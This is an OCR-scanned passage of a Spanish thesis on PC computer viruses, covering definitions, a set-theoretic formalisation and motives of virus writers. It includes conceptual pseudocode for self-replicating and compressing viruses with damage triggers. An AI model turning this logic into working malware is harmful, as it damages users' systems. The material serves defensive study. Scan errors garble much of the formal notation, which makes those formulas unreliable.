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INTRODUCCION

Los artlculos sobre seguridad informatica han saltado, recientemente,
desde alguna parte oculta en la seccidn de negocios o ciencias a fa primera
pégina de las publicacionss. Esto no es el resultado de algin novedoso y
maravilloso avance técnico, sino a causa de la aparicién de una forma de agresién
a los sistamas computacionales, particularments periciosa: el "vlrus® informético.

Hay un gran nimero de articulos en la literatura cotidiana en los cuales
analiza este problema desde diferentes aspectos aislados y sin un enfoque
integral del problema y solucién. Muchos de ellos se enfocan en lo que deberla
hacerse para detectar y prevenir un ataque de virus o codmo limitar {a accitén de
éste. Por otro lado, es poco lo escrito sobre como los virus informaticas consiguen
infectar un sistema.

El intento de este documento no es proporcionar un "como hacer* para un
posible creador de virus, por el contrario, analizar algunas vulnerabilidades
generales de los sistemas y mecanismos da funcionamiento de los virus, de tal
forma que el problema de defensa pueda ser mejor comprendida.

La discusién técnica se centrar en la computadora personal i (IBM PC),
aungque muchos de los conceptos generales son aplicables a un amplio rango de
sistemas. Aunque la presencia de los virus informdticos puede darse en varios
tipos de sistemas, su gran desarroflo y difusién se ha dado en las PC's, debido ha
que éste tipo de computador evoluciond sin implementos de seguridad técnica, es
decir, que en el afén de estructurar un sistema mas eficiente, se descuidd
adlcionarle médulos que protegieran la integridad del sistema. En otros sistemas
como las Macrocomputadoras, se encuentrasn caracteristicas técnicas especificas
orientadas como medidas de seguridad, por lo que en éstas es muy dificil crear un
virus que explote 10s pocos "huecos” en las defensas del computador.

Como siempre, el descubrimiento de las vulnerabitidades de un sistema trae
consigo el riesgo implicito de que esta informacién sea utilizada con fines
destructivos, sin embargo en el desarrollo de este trabajo, se consideré, que
quienes se dedican al disefio de aplicaciones destructivas, dominan ampliaments
estos temas, caso contrario es el comin de los usuarios de PC, que resuttan ser
las victimas de los virus; informarles scbre el funcionamiento de los virus y las
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vulnerabilidades de los sistemas, permitira que las defensas técnicas puedan ser
inteligentemente evaluadas y seleccionadas.

El estudio presenta en un principio, definiciones generales, con la intencitn
de establecer puntos de referencia que son base en explicaciones postariores.
Algunas de estas definiciones son desarroliadas aplicando fa Légica Simbdlica, a
fin de delimitar al conjunto de programas que entran dentro de ésta categorfa.
Esto por que la mayorfa de las referencias y discusiones sobre lo que es o no es
un programa virus, se ha planteado de manera muy dispersa, ya que !a mayorfa
de los investigadores sobre el tema, se ha enfocado a estudiarlos solamente
desde una perspectiva aislada. El planteo de una definicién mediante !a teoria de
conjuntos es una manera efectiva de demarcar que programas pueden
catalogarse como virus y que tipo de virus son.

Otro punto importante en el planteamiento inicial es clasificar los distintos
tipos da virus, siendo el criterio de clasificacibn mas idéneo el de su
comportamiento  dentro de los sistemas que infectan, Las caracteristicas
funcionales més peculiares de los virus son su capacidad de autoreproduccidn y
su labor destructiva, pero éstas no siempre se presentan en todos los tipos de
virug. Dada estas caracterlsticas, se clasifican en cuatro tipos: "Benignos®,
*Caballos de Troya", "Portadores" y "Virulentos", todos elios son descritos en el
capitulo 1.

El capitulo 2, se hace un planteamiento completamente técnico del
problema, describiendo el comportamiento virico a través de las vulnerabilidades
de los sistemas. A fin de que este planteamiento sea claro, en la primera parte del
caphtulo se detalla sobre los principales puntos estructurales del funcionamiento
técnico de un computador personal: su arquitectura, mapa de memoaria, el ROM
BIOS, los procesos de arranque del computador, manejo de interrupciones, el
manejo de los drives y ef manejo de los archivos ejecutables. Entender estos
conceptos es fundamental para la comprension dsl comportamiento virico, ya que
dstas aprovechan 1a falta de control administrativo de tales funcionas.

Una vez estudiado las vulnerabilidades técnicas, en sl capitulo 3 se plantea
un programa integral de seguridad informética, siendo aplicable no sélo para la
prevencién de ataques virales, sino ademas, para una efectiva prevencién contra
pérdida de funcionalidad informética de los sistemas, ya Gue se considera tanto el
aspecto técnico y administrativo, asl como el aspecto humano, que significa un
aspecto de tal relevancia que puede considerarse el punto central det mismo.
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También en el capitulo 3ro, se analiza el problema de la deteccidn, es decir,
el como saber sl un sistema estd infectado. Este problema se ha resueito en gran
parte madiante el empleo de una técnica de reconecimiento de "firmas*; cada virus
tiene una firma particular, esta firma se encuentra en todos los sistemas Infectados
dada la caracteristica de autorreproduccion del virus, y este hecho es
aprovechado para identificarlo. El programa para deteccién de virus descrito en
éste capitulo se fundamenta en asta caracteristica.

En base a los conocimientos vertidos en los capftulos 1 y 2, se desarrolla un
programa virus nuevo, esto con el fin principal de probar a los sistemas de
deteccidn, para medir su electividad en detectar y contener virus no clasificados
(cuya firma no se conoce), y por otro lado, entender ia filosofia de programacién
an que 8e basan los virus informéticos, con lo cual se pueden desarrollar
planteamientos sobre coémo protegerse mejor de ellos.

Al virus de nueva creacidn se le ha disefiado con las caracterfsticas de:
evitar la deteccion de software antivirus, infectar al sector de carga de los discos
flexibles de 5 1/4", permanecer residente en memoria, interceptar la interrupclén
13h y cada dia 6 de cualquier mes, entre fas 20 y 21 hrs desplegar un remolino de
caracteres en la pantalta del computador. Para éste virus, se desarrollaron rutinas
destructivas y de infaccién a disco duro, pero no son explicadas en este
documento para avitar ser una aliciente al desarrollo de programas destructivos.

El desarrollo de un programa virico plantea aspectos muy Interesantes del
tema, as{ mismo, &l desarrollo de un programa que funcione como una vacuna
plantea aspectos desde una dimensién diametralmente opuesta, y ambos
aspectos se complementan.

La base que debe fundamentar a un programa vacuna es el andlisis
exhaustivo del comportamiento de los virus. Una vez delimitado e! dafio propiciado
POr un virus y sus caracterfsticas de operacion, se ha resuslto el 90% del problema
de desarrollo de un algoritmo que efectlie la accion inversa, es decir, que lleve al
sistema a su estado original, antes del ataque.

El programa vacuna explicado en el capltulo 5, emplea la misma técnica de
programacién que el programa en Pascal presantado en el capltulo 3, pero a
diferencia de éste y dado que las caracterlsticas cdal nuevo virus son
perfectamente conocidas, se agrega un médulo de "reparacién, que efectia la
desinfeccién de los discos atacados por el virus. Como caracteristica adicional, el
programa vacuna es residents en memoria, con o que permanece activo y alerta,
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checando a todo disco que se accesa en la unidad A del computador y en caso
de reconocerlo infectado, procede a la desinfeccidn automética de! mismo.

Por dltimo, en el capitulo 6 se presenta el andlisis da los virus "Brain®,
"Stoned" y una sintesis de ios virus mas difundidos en la actualidad. El virus
*Brain" es el virus mas documentado, ya que es el primero en atacar
computadoras en los Estados Unidos de Norteamérica, por lo que ha sido
ampliamente investigado por distintos grupos de investigadores y desde distintos
aspectos. El andlisis del virus "Stoned" se efectia diractamente de un disco
infectado, por lo que no solo se describe su comportamiento, sino ademés se
presenta un listada desensamblado del mismo, el cual se consiguié a través dsl
programa DEBUG del sistema operativo,

Los virus mds difundidos en las computadoras actuales se describen
brevemente, mencionando las caracteristicas mas distintivas de cada una de ellos,
a fin de ayudar efectivaments a su identificacion. Ante un ataque, la identificacién
del virus prontamente, puede ser muy importante para saber que medidas se
deben tomar.



QUE SON LOS VIRUS INFORMATICOS

Los virus Informéticos han evolucionado tan répidamente que actualmente
representan un grave problema de seguridad de los sistemas informaticos,
afectando tanto el funcionamiento del equipo de cémputo como de la informacién
que almacena y procesa.

El término ‘virus Informéticos” se deriva de la gran similitud de
comportamiento entre estas aplicaciones y ios virus biolégicos. En la tabla 1, se
presentan las caracteristicas de los virus biolégicos e informéticos a fin de hacer
evidentes sus semsjanzas.

Virus Blolégicos Virus Informéticos
Dimensiones Los virus bicldgicos son Un virus informético es un
lath e organi pequefios  en conjunto da instruccionas en
poco extremo, miden alrededor de cédigo méquina (tipicaments
significativas 200 a 250 angstroms (el 200 a 4000 bytes).
didmetro de un cabelio mide
un millén da angstroms).
Electos que Son capaces de alterar el Son capaces do alterar el
produce funcionamiento normal de un funcionamiento  normal  de
macroorganismo, una computadora.
Son codigos ejecutables que
Habitat Son organismos unicelulares 3@ ubican dentro de otros
(medio) que viven dentro de ofras cédigos sjecutables
céiulas (programas).




Virus Blolégicos

Visus informiticos

" Capacidad de
autarreproduceitn

fos virus bioidgicos afectan
las céluias da un
macreorganismo modificando
su informacién genética al
rse reproduciondo dentro de
las células alectadas,
contaglando celulas sanas
que tengan contacto con
ellas.

Pueden coplar su mismo
cbdigo dentro da otro u otres
conjunies  de  cddigos
(programas),  presentando
una especie de ‘“infeccidn
informatica’,

Propagackon

Son uy contagiosos en
ofganismos qua no cuenten
con protectién  adecuada
{vacunas).

Son muy contagioses en
glstemas no prolegkios.

Pressncla
asintomética

Pueden estar iatentes an el
organismo durante bastante
tlempo sin que éste presente
ningun sintoma de infeccion.

Pueden estar contenidos en
un programa sin manifestarse
hasta que se ‘dispare® su
accidn dastructiva,

Una diferencia clara entre ambaos, consiste en la relacién entre el efecto
nocivo y la magnitud de infeccién. En los virus biolégicos esta refacién es directa,
en tanto que para los informéticos es una constante, es decir, para los virus
blolégicos a mayor cantidad de células infectadas es mayor ei efecto nocivo,
mientras que en los informéticos, un sélo programa que esté contaminado y sea
activado causa el mismo dafo que si existieran mas programas contaminados,
aunque el mayor nimero de contagios d& una mayor probabilidad de que un
programa infectado sea activado y cause dafios o propague el virus a otras

computadoras.

TABLA 1. COMPARACION DE LOS VIAUS BIOLOGICOS E INFORMATICOS




1.1. DEFINICION.

Los virus informaticos no son méas que programas, los cuales emplean los
mismos elementos de programacién que utilizan los demas programas, es decir,
no cuentan con herramientas diferentes que las normalmente usadas en los
programas de computadoras. Pero a diferencia de los demés programas,
presentan caracteristicas panticulares como son:

1. La autorreproduccién.

2. Son muy pequefios.

3. Alteracién de los sistemas informéticos sin conocimiento ni consentimianto
de los usuarios.

Los virus informdticos son una espacie de "treta“ para afectar la integridad
de un sistema de computo. Al igua! que otras "tretas’, un virus informético puede
causar la pérdida o alteracidn de programas o datos y de comprometer la
confidencialidad de los mismos. Pero a diferencia te otras, los virus informéticos
pueden reproducirse de programa en programa, y de sistema a sistema, sin
intervencién-directa de los usuarios.

El comportamiento de estos programas es el principal punto para
ostablecer una definicidn formal de los virus informdticos. Es par esto que el
primer intento de definilos haya sido el denominarios como “virus®. Las
definiciones que se pueden encontrar actualmente se avocan a describir su
funcionamiento, intentando englobar todos los virus existentes, pero estos son tan
variados tanto en su estructura como en su comporiamiento, que el tratar de
delimitarlos en una definicion es muy problematico.

Fred Cohen los define como:
Un 'virus' puede definirse como una secuencia de simbolos los cuales, al
interpretarse por una computadora, produce otra secuencia de simbolos en
la misma computadora que pueden modificarla,

En esta definicién se encuentran importantes aspectos ;
1. Un virus es justamente como cualquier otro programa el cual es una
secuencia de simbolos. Una instruccién de méquina que es parte de un



programa "virus' es, vista en sf misma, indistinguible de una instruccién de
méquina que sea parte de otro programa cuakquiera.

2. Un virus puede causar otra secuencia de simbolos que pueden infectar a
otros programas {un programa virus puede reproducirse a sl mismo).

3. Esta autorreproduccion de si mismo ocurre cuando se interpreta ia
secuencia de simbolos que constituyen al programa virus (sl programa
virus debe tener el control del procesador para desarrollar su actividad).

Burger proporciona una definicién similar. El define a un programa como
virus si reune las siguientes caracteristicas :
1. Modificacién del software por el programa virus al adherir todo o parte de
Sus estructuras de programa en otros programas.
2. Capacidad de sjecutar la modificacién sobre un nimero de programas.
3. Capacidad de evitar infectar un mismo programa dos veces reconociendo
que el programa ya ha sido intectado por él.

En (a investigacion sobre aste tema se encuentran muchas definiciones, las
cuales poco mas e manos describen las consideraciones anteriores.

Si se quiere abarcar a todo el conjunto de los virus, la manera mas sencilla
de hacerlo es definiéndolos como programas “mal Intenclonados®, o
*maliclosos”, es decir, disefiados con fines perjudiciales. Esto es clerto, no hay
virus informético que sea accidental o que no esté destinado a causar problemas.
Esto también se aplica a los virus llamadcs "benignos", ya que si bien es cierto que
no provocan pérdida de informacion, si emplean recursos informaticos sin
aportar ningln beneficio al usuario.



- 1.2 DEFINICION EMPLEANDO TEORIA DE CONJUNTOS

Un 'virug" puede ser definido informalmente como una secusencia de
simbolos cuya interpretacién causa otra secuencia de simbolos que contienen al
virus. Si se considera la interpretacidn de la secuencia de simbolos en un
computador como un programa, es importante estudiarlos ya que poseen
habllidades para alterar otros programas y reproducir su eédigo en ellos.

Para un estudio mas detallado sobre los virus se parte de un "programa
virus" de ejempio, que pudiera prasentarse en un sistema computacional moderno
y se emplea este programa para demastrar algunas de las potencialidades de
ataque a las computadoras. Se da una definicién formal de una generalizacion
trivial de una maquina de estados finitos (computador), definiendo el “conjunto de
virus" en términos de esta maquina, y se axploran algunas de sus propiedades. Se
define una computadora y un conjunto de pares (maquina, almacenamiento-
magnético-de-datos), en donde se encuentra al "conjunto de virus” (CV). Sa define
el término "virus" y "evolucién” por conveniencia para la discusién.

Se demusstra que cualquier secusncia de c6digo que se roproduzea a sf
mismo es un elemento del CV, tal que son infinitamente contables los CVs y los no
CVs, tal maquina existe para cualquier secuencia de cddigos almacenados
magnéticamente que contenga virus y para cualquier secuencia de elios que no
los contenga, y, por lo tanto, cualquier secuencia finita de simbolos almacenados
magnéticamente es un virus con respecto a tal maquina.



1.2.1 Discusién formal.

Se definié informalmente a un “virus informético” como un programa que
puede "“infectar" otros programas, modificindolos y reproduciendo su cédigo
dentro de sllos.

El siguiente programa de ejemplo, musestra cdmo un virus puede ser escrito
en un pseudolenguaje de computacidn. El simbolo *:=" es usado para asignacion,
el simbolo ":* designa y delimita una etiqusta, *" separa las instrucciones, *=" se
emplea para comparacién, "~" indica negacién (NOT), los simbolos "{* y *}*
enmarcan un grupo de instrucciones, y el simbolo "..." es usado para indicar una
parte del programa que contiene instrucciones irrelevantss para e estudio que se
efectGa.

programa virus =
{1234567;

subrutina Infecta-archivo-ejecutable : =
{ciclo: archivo = seleccién-aleatoria-archivo-ejecutable;
if primera-linea-de-archivo = 1234567
then goto ciclo;
infacta el archivo;

subrutina efectua-dafio :=
{algun dafio es efectuado;}

subrutina condicién :=
{retorna una bandera como verdadera {true) si se cumple una condicién
determinada;}

Programa Principal ;=
{infecta-archivo-ejecutable;
if condicién then efectua-dafio;
goto sigue; }
slgué; }



Este programa de sjemplo V busca un archivo eiecutable E que no esté
infectado, esto lo reconoce checande que la primera linea no contenga la
secuencia de numeros 1234567, y de no encontrarla, infecta al archivo E con el
cédigo de V., produciendo un archivo infectado 1. Posteriormente evalla si se
cumple con una condicién determinada y de ser as/ efectua algun dafo al sistema.
Cuando al usuario quiere ejecutar al programa E, el programa | es ejecutado en su
lugar; este programa infecta otro programa y después efectlia las funciones
normales de E, de tal forma que para el usuario todo sl proceso se efectud de
manera normal. El efecto de infeccion a otro programa es efactivo sélo si no se
cumple la condicién que activa el dafio al sistema (normalmente es pérdida de
informacién, incluyendo a los archivos infectados). Por esto es necesario, para ¢l
virus, que la condicién de dafo no sea muy facll de cumplir con el fin de que
pueda efectuar el mayor numero de infecciones, que permitan expanderse lo méas
posible, no sélo en 8! sistema, sino también a otras computadoras.

Para que un programa sea considorado como virus necesita ear usado
con fines destructivos.

Existen virus que pueden ser capaces de efectuar compresionss y
decompresiones de su cddigo, asi como &! déi programa que va a ser su anfitrién,
Por ejemplo, un programa comprimido virus puede ser escrito para encontrar un
archivo "sano" (no infectado), comprimir parte de su cédigo (del programa sano),
y aftadirse a &I, todo esto sin que se de cuenta el usuario. Al ejecutar el archivo
infectado, éste se decomprime y se sjecuta normalmente, sin efectuar ningin
dafo al sistema. Aunque estos programas no efectian daio (llamados virus
benignos), si se conslderan virus, ya que la ejecucién del programa se alenta,
ademés que efectia el proceso de infacci6n. La deteccién dé estos programas es
mas dificil, debido a que ne tienen un efecto aparente en el tamano de los
archivos, conservando las funciones de éste intactas. Un simple programa que
efecttie funciones de compresién pueds ser escrito de la manera siguisnte:



programa virus-comprimido :=
{01234567;

subrutina Infecta-archivo-gjecutable ;=
{ciclo: archivo = obtensr-aleatoriamente-archivo-ejecutable;
if primera-liinea-del-archivo = 01234567
then goto ciclo;
comprime-archivo;
afiade versién comprimida al archivo;

}

programa principal ;=
{infecta-archivo-ejecutable;
decomprime resto-de-este-programa dentro
de un archivo temporal tmp;
fun tmp;
}

El programa C (comprimido}, busca un archivo sano E, lo comprirne, y le
. aftade la versién comprimida del cédigo virus, para crear un archivo |, Después

decomprime el resto del archivo {cédigo original) creando un archive temporal (en
memoria} ¥ lo ejecuta. Cuando  es ejecutado, efectiia el mismo proceso. Este
efacto se manifiesta inmediatamante en el sistema en la velocidad con que un
programa es cargado en memoria y s ejecutado, ya que tiene que decomprimirio
y antes de efectuar &! cédigo original, se ejecuta el cddigo del programa virus.
Virus de este tipo se encontraren en ef sistema operativo UNIX,

Este programa V puede reescribirss en una versién més agresiva si se le
anade una condicién de "disparo”, que active algin dafio y la cual sea una hora
determinada de algin dfa especffico, y que el dafio al sistema sea que ejecute un
ciclo infinito. Las modificaciones se muestran a continuacion:



subrutina dafto :=
{ciclo: goto ciclo;}

subrutina condicién-de~disparo :=
{#f afio > 1984 then verdadero otherwise falso;}

Andlogamente, considers una enfermedad biolégica que es 100%
infecciosa, que se propaga siempre que la gente se comunica, y es capaz de
matarlas en un instante determinado, pero las personas infectadas no presentan
sintomas (molestias) hasta ese momento. Si el dafo no se prasenta por mucho
tiempo, las personas infectadas pueden tener contacto con muchas personas
sanas e infactarlas, y si viajan a otras ciudades se esparciran por todo ef mundo.
Asl un virus informético puede viajar de programa en programa, de computadora
en computadora, por asto se han avocado a su investigacién muchos organismos
de negocios, gubernamentales, financieros y académicos.

1.2.2 Simbolos usados.

En el resto de esta seccion se emplearan simbolos usados en Lbégica, para
definir y proveer teoremas acerca de los virus y 1as computadoras. Empezaremos
por mostrar estos sfmbolos y su interpretacién.

Los conjuntos se denotan encerrandolos entre los signos "{" y "}* (laves), y
los elementos del conjunto por simbolos separados por comas dentro de las
llaves (por ejemplo: {a,b} designa al conjunto formado por los elementos a y b).
Normalmente se usaran letras minusculas (ejemplo: a,b,c,...) para designar los
elementos de un conjunto y las letras mayusculas (ejemplo:AB,C...), para
designar a los conjuntos. 1.3 excepcién a este caso es cuando un conjunto sea
elemento de otro conjunto, en que se emplearan letras mindsculas.

Los simbolos usados en la Teorfa de Conjuntos €, C, U, Y, 3, iff, and y or
serén usados de manera normal. El simbolo N sera usado para denotar el



conjunto de los nimeros naturates (por ejemplo: {0,1,..}) y T1 seré usado para
rapresentar al conjunto de los nimeros enteros (por ejsmplo: {1,2....}).

La notacién {x:P(x)} donde P es un predicado se usa para indicar : toda x
cuyo valor haga que la funcién P(x) sea vardadera.

Los corchetes "["y "]" son usados para agrupar declaraciones cuya relacién
no es obvia.

Los paréntesis “(" y *)* son usados para jerarquizar la interpretacién de los
enunciados y la secusncia de enunciados se separan por comas, [por ejemplo:
(1.2,...) 88 la secuencia de enteros que empiezan con el nimero 1].

El simbolo "..." se usa para indicar una secuencia indefinida de elementos
de un conjunto, ¢ estados de una maquina en donde el nimero de elementos son
muy numerosos para sefalarios en un enunciado.

Cuando se refiere a los conjuntos, el simbolo “+" indican la unién de dos
conjuntos {gjemplo {a}+{b} = {a,b}), el sfmbolo U indica la unién de cualquier
nimero de conjuntos, el simbolo ** indica la resta de dos conjuntos, que es sl
conjunto formado por todos los elementos del primer conjunto que no estén en el
segundo conjunto (por ejemplo: {a,b} - {a} = {b}). Se usa el signo "=" para
indicar igualdad. En cualquier otro caso estos simbolos se usardn de manera
normal como son usados en Aritmética. El operador  |...| 65 usado para indicar
la cardinalidad de un conjunto o del nimero de elementos en una secusncia
apropiada (por ejemplo: |{a,b,c}|= 3, |ab,...t| = 6).

1.2.3 Maquina de estados fInitos (computadora).

Empezaremos la discusién definiendo una méquina computadora, basada
en un modelo con los servicios basicos para generalizar el anlisis. El modelo
bésico de méquina que se analiza es el conjunto de maquinas que consisten de
una secuencia de estados finitos (MEF - Méquina de Estados Finitos), con una
cabeza de lecturafescritura y un medio de almacenamiento semiinfinito (cinta
magnética). Este modelo se ilustra en la figura 1-1. La cabeza de lectura/escritura
puede colocarse en posicibn de accesar a una sola celda de la cinta en un
instante de tiempo, y es capaz de leer o escribir un nimero finito de simbolos de o
hacia la cinta, y puede moverse en la cinta una celda a la izquierda (-1), a la
derecha (+1), 0 quedarse estacionaria (0} para cuaiquier estado.
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CINTA MAQNETICA

CABEZA

LECTURARSCRITURA | CER0A

MAQUINA DE CTURA/ESC CERO
EBTADOS

FINITO8 CELDA

{COMPUTADORA) UNO

CELDA
bos.

FIGUAA 1.1, MAQUINA DE ESTADOS FINITOS

La MEF toma una entrada de la cinta, pasa al siguiente estado, produce
una salida hacia la cinta, y moverse en la cinta como una funcién que mapea los

estados internos. E! conjunto de maquinas computacionales MC se define como:
VM[M €& MC] iff
M:(Sy e DaiSu X Iy = e
NSy X by = Spp
DSy X fyy = d)

donde el estado de la MEF es uno de n+1 estados posibles,
Su={sg--8n}, NEN,

el simbalo en la cinta es uno de j+1 posibles simbolos, y

T = {ign-df}, JEN,
el conjunto de movimientos en la cinta es uno de tres posibles
d={1,0, +1},



Ahora se definen tres funciones del tiempo que describen el
comportamiento de los programas MC. El tiempo en el andlisis expresa el nimero
de tiempos para desarrollar las operaciones bésicas por la MC, llamado
*movimiento* que es fa interpretacién del cddigo de operacidn (instruccion).

La funcibn estado(tiempo) mapea el desplazamiento de la maquina
después de efectuar el movimiento,

Sy: N~ S, ; estado(tiempao),

la funcién cédigo(tiempo, # celda) - que mapea el desplazamierto hacia un
numero de celda, indicando el contenido de esa celda, despuéds de efectuar el
movimiento

(j“: N x N - i,; codigo(tiempo, # celda)

¥ la funci6n celda{tiempo) que mapaa el desplazamiento a un nimero de celda en
donde se posiciona la cabeza de lectura/escritura después de efectuar el
movimiento,

Pw: N+ N ; celdaltiempo)

Los 3 parémetros Sy, E]M Py y la “historia® de la méaquina (H,) -secuencia
de movimientos, para un particular nimero de movimientos (o instantes de
tiernpo), determinan la situacion de la maquina a un tiempo. Se describe la
operacién de una maquina como una serie de movimientos que van de una
situacitn a la siguiente. La situacion inicial de una méquina se describe por:

{5u(® = Swo. 400 =l Pui) =Py, 1EN,

Toda situacién subsecuente de una maéquina {computadora) puede ser
determinada por la situacién inicial y las funciones N, O y D que son mapas de los
estados especificos de la méquina, y el simbolo (cddigo) que se encuentre en
posicién para ser lefdo del medio de almacenamiento magnético o ser escrito en
61, antes de un movimiento para el “estado siguiente", “salida" y “posicion de

12



Iecturaleﬁcrilqra“ despuds del movimiento. Tal situacién se muestra como una

funcién del tiempo:

wwEN
1Sult+1) = NS, Lht.Py()) and
e+ 1.t = 08wt [l Pu(9))] and
vi.= Put), [htt+1.) = LL{t)] and

(Pult+1) = Sup(O.Py(t) + DIS,(th LLP M.

Esta méquina no tiene un estado especifico que garantice parar el proceso
en el tlempo determinado en que se llegue a él, en el cual la situacién de la
maquina no cambiara. Se define el estado de "halt" (detencidn), como cualquier

situacién que no cambia con el tiempo.
Se menciona "M se detiens en un tiempo t iff

vt'>t
[Sult) = Sy{t)} and
vi & N{ e = Clyraly and
[Pult) = Pu@t)l]
y la*M para" si

[3t € N[M se detiene en un tiempo t]},
Se dice que "x corre en un tiempo t" iff

[(x € Iy donde i € T1] and
[S(t) = Syl and
(P P + ) = x1)




and “x corre* iff

[t € Nix corre en un tismpo t}].

Por conveniancia, se definen dos estructuras que se encontrarén a lo largo
del resto de esta discusion. La primera estructura s@ emplea para describir un
programa para una méquina de estados finitos PC. Se puede entender un
programa como una secuencia finita de sfmbolos, cada simbolo pertensce al
conjunto de simbolos "legales" para ser interpretados por la maquina en cuestion.
Se define un PC como sigue:

(YM € TM{WV[Vi € 1T
(v € PCul sl v € I

La segunda estructura CP, se emplea para describir un conjunto no vacio
de programas de computadora (conjunto de programas para una méquina de
estados finitos). Se define como:

VM € TMIW[V € CF] iff
i) @vEV]and
(i) [wv € V[v € PCJ111.

El uso del subfndice M (por ejempio PC,), es innecesario en e} caso de que
solamente un tipo de méaguina esta bajo andlisis y no exista una ambigledad. En
el resto del andlisis se omitira ese subindice tomando en cuenta esto.
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1.2.4 Definlcién Formal de VIRUS

Ahora se trabajar con el principal concepto de ests estudio, el conjunto de
virus. Anteriormente se definié informalmente a un virus informético como un
*orograma" que puede modificar otros "programas” e inciusa remplazar o afadir
su cédigo dentro de elios. La interpretacion matemética de esta definicién para
una computadora, que se dard a continuacidén, intentard mantener fa
generalizacién de la misma.

La idea de estudiar a un virus en particular 8s errritica, esto es a causa de
que un estudio aislado hace muy dificii comprender el concepto de svolucién, el
cual @s un punto central en los resultados de todo este anslisis. El conjunto de
virus desarrolla una evolucién debido a que permite que sus elementos produzcan
otro conjuntc que contiene a sus mismos slementos, como resulttado de la
computacidn {procesamiento dei conjunto de simbolos virus). Asi que cada virus
que peartenece al conjunto viral (conjunto de virus), ocasiona que al repraducir
algunos de sus elementos, del conjunto viral, en alguna parte de !a cinta (;nedio de
almacenamiento magnético) tuera del virus original, ocasiona que este nusvo
conjunto sea considerado viral. Esta evolucién pusde describirse como la
productién de un elemento del conjunto viral por otro elemento del mismo
conjunto.

La secuencia de simboios en la cinta ser& considerada un virus
dependiendo de en que tipo de maquina sera interpretada. Se debe considsrar
que una secuencia de simbolos puede ser un virus cuando ésta sea Interpretados
por una MC. La definicién del par CV es como sigue:

[11 VMWV

2 (MV) ECVit

i3 [V € MC] and [M € TM] and
(4] [vv € V]¥H,

(s} [vivj

(6} [ .Put) =jand

71 Sult) =S, and



e
o)

.ho
(11
(12
(13
[14]
[18]

[al

1)
[
13

(4
(5
{6]

(8)
(]
(10}

{11
12
[13)

(14]

(Chtdes Chtti+ v | 1) =
o - e
[ 3 EV{Et‘>t[EI]‘ e
[ U@+ 1vI)siorli+|v]) = Tand
(Ol Caed + v 1 - 1) = v and
@At <t* < t)and
Pult") € {d’ + V' | =1 }]]
m o1

efinl linea por linea iene;

paratoda ‘M"y "V",
ol par (M,V) es un “conjunto viral' si y s6lo si:
V &5 un conjunto no vacio de la secuenclade MCy MesunMCy
ademés
para cada virus v dentro de'V, para toda historia de [a maquina
M,
Para todo tismpo ty celda j
si la cabeza de lectura/escritura esta enfrente de una celda j en un
tiempo t y ademds
MC esta en el estado inicial en el tiempo ty ademés
la primer celda que contiene al virus v es la celda j
entoncas
este as un virus v' parteneciente a V, en un tiempo t'>t, y
ademds coloca cada J' tal que
coloca ' o suficientemente lejos de v (fuera de v)
la primera celda que contiene v’ es la celda J'
y ademas, para algin tiempo t” entre el tiempo ty el tiempo
t
V' es escrito porM
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Por conveniencia de espacio, se empleara la expresién
B
a=>C_C

para abreviar una parte de la anterior definicién, la cual empieza en ia {insa (4}, en
donde a, B, y C son instantes especfficos de v, M y V, respactivamente, como
sigue:

[VBIVC
M,C) e Cv) it
[(C € MC] and [M € MC] and

-]
[Va € Cla = Cll]}].

La definicién del predicado CV es vilido para todas las maquinas de
estados finitos. Se afirma en esta definicién que un elemento del conjunto viral
puede generar cualquier nimero de elementos del mismo conjunto, dependiendo
del resto de fa cinta magnética. Este aforo adicional de elemenitos es ganeraimente
a causa de un control de restriccién indebido. Finalments, en esta definicion no se
incluyen a los virus condicionales, expresando que TODO elemento del conjunto
SIEMPRE genera un nuevo elemento del mismo. Si se quiere Incluir a los virus
condicionales, simpiemente se debe adicionar premisas que modifiquen ia
ejecucion del virus en funcién del resto de la cinta magnética, sin modificar esta
definicién.

Se dice que V es un conjunto viral con respecto a M

if ((MV) € CV]

y se define el término "virus" con respacto de M como:

{lv EV]: [(MV) € CV}}.



Decimos que "v evoluciona dentro de v' por M sl
MV) € CV

[(vEV)and [v' € V] and [v 5 {vHl

tal que "v' es producido de v por M* sl
v evoluciona dentro de v’ por M*

y que V' es producido de v por M" si
{(MV) ECV
@EN@V eV
[vEV]and [v' €V] and

Vv, EV'ly, g’ Visl]l @and
BEN
BmEeN
[[1<m] and [v; = v]
and [v, = V]Il

M
en otras palabras, el fin de |a funcidn transitiva = empleza de vy desarrollaa v'.



1.3 CAUSAS Y ORIGENES.

No existe ninguna informacidn fidedigna que permita reconstruir la historia
de los virus y de los contagios virales. La causa de esto conslste en que las
grandes empresas y los organismos gubernamentales, cientffices o militares
ocuHan la realidad respecto a los virus cuando llegaron a padecer infecciones en
sus sistemas, para no reconocer la vulnerabilidad de sus equipos y sistemas.

Esto ovbiamente porque tendrfan que reconocsr un fracaso financiero en la
implantacién de sus sistemas de seguridad; sistemas complsjos y costosos que
no pudieron detener a un simple programa de menos de 1 Kbyte de longitud.

Pero el quien crea a los virus informaticos y cémo se han podido desarrollar
tantas versiones a lo largo de dos décadas se explica a continuacion.

1.3.1. LGulén crea a o5 virus Informéticos?

Los motivos por los cuales un programador decide desarrollar un virus son
muy variados, desde el "reto” de burlar los sistemas de seguridad informatica,
hasta la mala intencién de producir danos a ciertas personas, a través de sus
sistemas de informacién computarizados.

Lo que es seguro, 88 que el primer algoritmo se origina del planteamiento
de un problema aparentemente simple: desarrollar un algoritmo que fuese capaz
de reproducirse a sl mismo. Lo complicado de esta cuestién no es la
autorreproduccion, sino que la copia producida en el proceso debe ser tal que en
algin momento tenga el control del procesador.

La resolucidn de este problema derivé otro: LCudl es su utilidad?. El hechg
de que un programa se reproduzca a sl misme no tiene utilidad practica; en caso
de que se quiera una copla de él se puede hacer con los comandos del sistema
operativo, bajo reglas comunes de mansjo de archivos.

De esta manera, la resolucién del nuevo problema fué la base del concepto
de “Infecclén” informatica, la cual es la contaminacién de un disco sano por el
proceso de autorreproduccién de un virus informético.
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La aplicacién que se da a este algoritmo es producir réplicas de su cédigo
sin consentimlento ni conocimiento del usuario,

Motivos.

Pocos
pero

programadores de virus declaran cuéles son sus verdaderos motivos,
es claro que las variedades méas nuevas y virulentas fuaron

estructuradas con et sito ludiir la_deteccidn. Los principales motivos

que llavan a un programador a desarroliarios se mencionan a continuacién:

Proaza

Muchas versiones de virus que existen aclualmente aparecen acompanadas
de [bvenes estudiantes de computacidén, que desarrollan este tipo de
aplicacicnes como un ‘reto, una proeza. Cada vez que una comparifa
proclama qua su producto de software antivirus pueds detactar y eliminar
